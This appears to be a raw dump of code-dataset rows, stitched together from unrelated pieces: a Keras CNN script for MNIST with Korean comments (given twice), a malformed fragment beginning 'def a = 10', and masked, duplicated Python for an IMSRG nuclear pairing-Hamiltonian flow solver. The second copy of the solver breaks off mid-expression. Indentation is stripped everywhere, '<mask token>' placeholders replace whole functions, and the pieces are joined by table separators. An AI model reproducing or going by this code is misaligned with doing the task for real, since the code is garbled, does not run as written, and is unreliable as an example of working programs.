test_input = np.reshape(test_input, (-1, 28, 28))
test_label = np.reshape(test_label, (-1,))
test_input = np.array(test_input).astype(np.float32)
test_label = np.array(test_label).astype(np.float32)
np.save('test_input.npy', test_input)
np.save('test_label.npy', test_label)
from keras.datasets import mnist
from keras.utils import np_utils
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D
from keras.callbacks import ModelCheckpoint, EarlyStopping
import matplotlib.pyplot as plt
seed = 0
np.random.seed(seed)
tf.set_random_seed(seed)
X_train = train_input
Y_train = train_label
X_test = test_input
Y_test = test_label
print('X train shape')
print(X_train.shape)
print('Y train shape')
print(Y_train.shape)
print('X test shape')
print(X_test.shape)
print('y test shape')
print(Y_test.shape)
X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255
X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255
Y_train = np_utils.to_categorical(Y_train)
Y_test = np_utils.to_categorical(Y_test)
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),
activation='relu'))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=2))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(10, activation='softmax'))
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[
'accuracy'])
MODEL_DIR = './model/'
if not os.path.exists(MODEL_DIR):
os.mkdir(MODEL_DIR)
modelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'
checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',
verbose=1, save_best_only=True)
early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)
history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),
epochs=15, batch_size=100, verbose=0, callbacks=[
early_stopping_callback, checkpointer])
print("""
Test Accuracy: %.4f""" % model.evaluate(X_test, Y_test)[1])
y_vloss = history.history['val_loss']
y_loss = history.history['loss']
x_len = np.arange(len(y_loss))
plt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')
plt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')
plt.legend(loc='upper right')
plt.grid()
plt.xlabel('epoch')
plt.ylabel('loss')
plt.show()
| import os
import cv2
import numpy as np
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
from numpy import array
import tensorflow as tf
TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'
train_folder_list = array(os.listdir(TRAIN_DIR))
train_input = []
train_label = []
label_encoder = LabelEncoder() # LabelEncoder Class 호출
integer_encoded = label_encoder.fit_transform(train_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(train_folder_list)):
path = os.path.join(TRAIN_DIR, train_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
train_input.append([np.array(img)])
train_label.append([np.array(index)])
train_input = np.reshape(train_input, (-1, 28, 28))
train_label = np.reshape(train_label, (-1,))
train_input = np.array(train_input).astype(np.float32)
train_label = np.array(train_label).astype(np.float32)
np.save("train_data.npy", train_input)
np.save("train_label.npy", train_label)
TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'
test_folder_list = array(os.listdir(TEST_DIR))
test_input = []
test_label = []
label_encoder = LabelEncoder()
integer_encoded = label_encoder.fit_transform(test_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(test_folder_list)):
path = os.path.join(TEST_DIR, test_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
test_input.append([np.array(img)])
test_label.append([np.array(index)])
test_input = np.reshape(test_input, (-1, 28, 28))
test_label = np.reshape(test_label, (-1,))
test_input = np.array(test_input).astype(np.float32)
test_label = np.array(test_label).astype(np.float32)
np.save("test_input.npy", test_input)
np.save("test_label.npy", test_label)
#-*- coding: utf-8 -*-
from keras.datasets import mnist
from keras.utils import np_utils
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D
from keras.callbacks import ModelCheckpoint,EarlyStopping
import matplotlib.pyplot as plt
# seed 값 설정
seed = 0
np.random.seed(seed)
tf.set_random_seed(seed)
# 데이터 불러오기
# test_input = []
# test_label = []
#
# train_input = []
# train_label = []
X_train = train_input
Y_train = train_label
X_test = test_input
Y_test = test_label
print('X train shape')
print(X_train.shape)
print('Y train shape')
print(Y_train.shape)
print('X test shape')
print(X_test.shape)
print('y test shape')
print(Y_test.shape)
#(X_train, Y_train), (X_test, Y_test) = mnist.load_data()
X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255
X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255
Y_train = np_utils.to_categorical(Y_train)
Y_test = np_utils.to_categorical(Y_test)
# 컨볼루션 신경망의 설정
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu'))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=2))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(10, activation='softmax'))
model.compile(loss='categorical_crossentropy',
optimizer='adam',
metrics=['accuracy'])
# 모델 최적화 설정
MODEL_DIR = './model/'
if not os.path.exists(MODEL_DIR):
os.mkdir(MODEL_DIR)
modelpath="./model/{epoch:02d}-{val_loss:.4f}.hdf5"
checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True)
early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)
# 모델의 실행
history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[early_stopping_callback,checkpointer])
# 테스트 정확도 출력
print("\n Test Accuracy: %.4f" % (model.evaluate(X_test, Y_test)[1]))
# 테스트 셋의 오차
y_vloss = history.history['val_loss']
# 학습셋의 오차
y_loss = history.history['loss']
# 그래프로 표현
x_len = np.arange(len(y_loss))
plt.plot(x_len, y_vloss, marker='.', c="red", label='Testset_loss')
plt.plot(x_len, y_loss, marker='.', c="blue", label='Trainset_loss')
# 그래프에 그리드를 주고 레이블을 표시
plt.legend(loc='upper right')
plt.grid()
plt.xlabel('epoch')
plt.ylabel('loss')
plt.show()
| [
0,
1,
2,
3,
4
] |
9,909 | 1be5de71615eae6c9074e67b0dcaabbac4d82e2b | def
a = 10
b = 2
c = 3
cal(a,b,c) | null | null | null | null | [
0
] |
9,910 | 0eb86fc64b74c79cace838e2d71ed92533123229 | <mask token>
def construct_basis_ph2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
<mask token>
def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):
dim = len(basph2B)
Gamma_ph = np.zeros((dim, dim))
for i1, (a, b) in enumerate(basph2B):
for i2, (c, d) in enumerate(basph2B):
Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]
return Gamma_ph
def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):
dim = len(bas2B)
Gamma = np.zeros((dim, dim))
for i1, (a, b) in enumerate(bas2B):
for i2, (c, d) in enumerate(bas2B):
Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]
return Gamma
<mask token>
def calc_fod_norm(f, user_data):
particles = user_data['particles']
holes = user_data['holes']
norm = 0.0
for a in particles:
for i in holes:
norm += f[a, i] ** 2 + f[i, a] ** 2
return np.sqrt(norm)
def calc_Gammaod_norm(Gamma, user_data):
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
norm = 0.0
for a in particles:
for b in particles:
for i in holes:
for j in holes:
norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[
idx2B[i, j], idx2B[a, b]] ** 2
return np.sqrt(norm)
def construct_occupation_1B(bas1B, holes, particles):
dim = len(bas1B)
occ = np.zeros(dim)
for i in holes:
occ[i] = 1.0
return occ
<mask token>
def construct_occupationB_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]
return occ
def construct_occupationC_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] * occ1B[j]
return occ
def eta_brillouin(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
eta1B[a, i] = f[a, i]
eta1B[i, a] = -f[a, i]
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
val = Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_imtime(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = np.sign(dE) * f[a, i]
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_mp(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_atan(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = 0.5 * np.arctan(2 * f[a, i] / denom)
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j
]] / denom)
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_wegner(f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
basph2B = user_data['basph2B']
idx2B = user_data['idx2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
fd = np.zeros_like(f)
fod = np.zeros_like(f)
Gammad = np.zeros_like(Gamma)
Gammaod = np.zeros_like(Gamma)
for a in particles:
for i in holes:
fod[a, i] = f[a, i]
fod[i, a] = f[i, a]
fd = f - fod
for a in particles:
for b in particles:
for i in holes:
for j in holes:
Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],
idx2B[i, j]]
Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],
idx2B[a, b]]
Gammad = Gamma - Gammaod
eta1B = np.zeros_like(f)
eta1B += commutator(fd, fod)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]
] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[
i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i
] * Gammad[idx2B[i, p], idx2B[a, q]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -
transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])
GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])
eta2B = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[
idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[
idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[
idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[
idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[
idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[
idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[
idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[
idx2B[p, q], idx2B[r, t]]
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))
Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)
Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)
GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))
GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,
basph2B, idxph2B)
work = np.zeros_like(GammaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2
] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],
idx2B[l, k]]
GammaGamma = work
eta2B += GammaGamma
return eta1B, eta2B
def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):
dim1B = user_data['dim1B']
holes = user_data['holes']
particles = user_data['particles']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
basph2B = user_data['basph2B']
idxph2B = user_data['idxph2B']
occB_2B = user_data['occB_2B']
occC_2B = user_data['occC_2B']
occphA_2B = user_data['occphA_2B']
dE = 0.0
for i in holes:
for a in particles:
dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]
for i in holes:
for j in holes:
for a in particles:
for b in particles:
dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[
idx2B[a, b], idx2B[i, j]]
df = np.zeros_like(f)
df += commutator(eta1B, f)
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]
] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[
i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i
] * eta2B[idx2B[i, p], idx2B[a, q]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +
transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])
etaGamma = dot(eta2B, dot(occC_2B, Gamma))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +
transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])
dGamma = np.zeros_like(Gamma)
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t
] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t
] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r
] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s
] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t
] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t
] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r
] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s
] * eta2B[idx2B[p, q], idx2B[r, t]]
etaGamma = dot(eta2B, dot(occB_2B, Gamma))
dGamma += 0.5 * (etaGamma + transpose(etaGamma))
eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)
Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)
etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))
etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,
idxph2B)
work = np.zeros_like(etaGamma)
for i1, (i, j) in enumerate(bas2B):
for i2, (k, l) in enumerate(bas2B):
work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2
] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B
[l, k]]
etaGamma = work
dGamma += etaGamma
return dE, df, dGamma
def get_operator_from_y(y, dim1B, dim2B):
ptr = 0
zero_body = y[ptr]
ptr += 1
one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))
ptr += dim1B * dim1B
two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))
return zero_body, one_body, two_body
<mask token>
def pairing_hamiltonian(delta, g, user_data):
bas1B = user_data['bas1B']
bas2B = user_data['bas2B']
idx2B = user_data['idx2B']
dim = len(bas1B)
H1B = np.zeros((dim, dim))
for i in bas1B:
H1B[i, i] = delta * np.floor_divide(i, 2)
dim = len(bas2B)
H2B = np.zeros((dim, dim))
for i, j in bas2B:
if i % 2 == 0 and j == i + 1:
for k, l in bas2B:
if k % 2 == 0 and l == k + 1:
H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g
H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g
H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g
H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g
return H1B, H2B
<mask token>
def calc_mbpt2(f, Gamma, user_data):
DE2 = 0.0
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
for i in holes:
for j in holes:
for a in particles:
for b in particles:
denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]
me = Gamma[idx2B[a, b], idx2B[i, j]]
DE2 += 0.25 * me * me / denom
return DE2
<mask token>
def main():
delta = float(argv[1])
g = float(argv[2])
particles = 4
dim1B = 8
holes = [0, 1, 2, 3]
particles = [4, 5, 6, 7]
bas1B = range(dim1B)
bas2B = construct_basis_2B(holes, particles)
basph2B = construct_basis_ph2B(holes, particles)
idx2B = construct_index_2B(bas2B)
idxph2B = construct_index_2B(basph2B)
occ1B = construct_occupation_1B(bas1B, holes, particles)
occA_2B = construct_occupationA_2B(bas2B, occ1B)
occB_2B = construct_occupationB_2B(bas2B, occ1B)
occC_2B = construct_occupationC_2B(bas2B, occ1B)
occphA_2B = construct_occupationA_2B(basph2B, occ1B)
user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,
'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,
'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':
occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm':
0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}
H1B, H2B = pairing_hamiltonian(delta, g, user_data)
E, f, Gamma = normal_order(H1B, H2B, user_data)
y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))
solver = ode(derivative_wrapper, jac=None)
solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)
solver.set_f_params(user_data)
solver.set_initial_value(y0, 0.0)
sfinal = 50
ds = 0.1
print(
'%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'
% ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',
'||fod||', '||Gammaod||'))
print('-' * 148)
while solver.successful() and solver.t < sfinal:
ys = solver.integrate(sfinal, step=True)
dim2B = dim1B * dim1B
E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)
DE2 = calc_mbpt2(f, Gamma, user_data)
DE3 = calc_mbpt3(f, Gamma, user_data)
norm_fod = calc_fod_norm(f, user_data)
norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)
print(
'%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'
% (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],
user_data['eta_norm'], norm_fod, norm_Gammaod))
if abs(DE2 / E) < 1e-07:
break
return
<mask token>
| <mask token>
def construct_basis_ph2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
<mask token>
def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):
dim = len(basph2B)
Gamma_ph = np.zeros((dim, dim))
for i1, (a, b) in enumerate(basph2B):
for i2, (c, d) in enumerate(basph2B):
Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]
return Gamma_ph
def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):
dim = len(bas2B)
Gamma = np.zeros((dim, dim))
for i1, (a, b) in enumerate(bas2B):
for i2, (c, d) in enumerate(bas2B):
Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]
return Gamma
<mask token>
def calc_fod_norm(f, user_data):
particles = user_data['particles']
holes = user_data['holes']
norm = 0.0
for a in particles:
for i in holes:
norm += f[a, i] ** 2 + f[i, a] ** 2
return np.sqrt(norm)
def calc_Gammaod_norm(Gamma, user_data):
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
norm = 0.0
for a in particles:
for b in particles:
for i in holes:
for j in holes:
norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[
idx2B[i, j], idx2B[a, b]] ** 2
return np.sqrt(norm)
def construct_occupation_1B(bas1B, holes, particles):
dim = len(bas1B)
occ = np.zeros(dim)
for i in holes:
occ[i] = 1.0
return occ
<mask token>
def construct_occupationB_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]
return occ
def construct_occupationC_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim, dim))
for i1, (i, j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] * occ1B[j]
return occ
def eta_brillouin(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
eta1B[a, i] = f[a, i]
eta1B[i, a] = -f[a, i]
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
val = Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_imtime(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = np.sign(dE) * f[a, i]
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],
idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_mp(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i]
val = f[a, i] / denom
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]
val = Gamma[idx2B[a, b], idx2B[i, j]] / denom
eta2B[idx2B[a, b], idx2B[i, j]] = val
eta2B[idx2B[i, j], idx2B[a, b]] = -val
return eta1B, eta2B
def eta_white_atan(f, Gamma, user_data):
dim1B = user_data['dim1B']
particles = user_data['particles']
holes = user_data['holes']
idx2B = user_data['idx2B']
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]
val = 0.5 * np.arctan(2 * f[a, i] / denom)
eta1B[a, i] = val
eta1B[i, a] = -val
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[
idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],
idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[
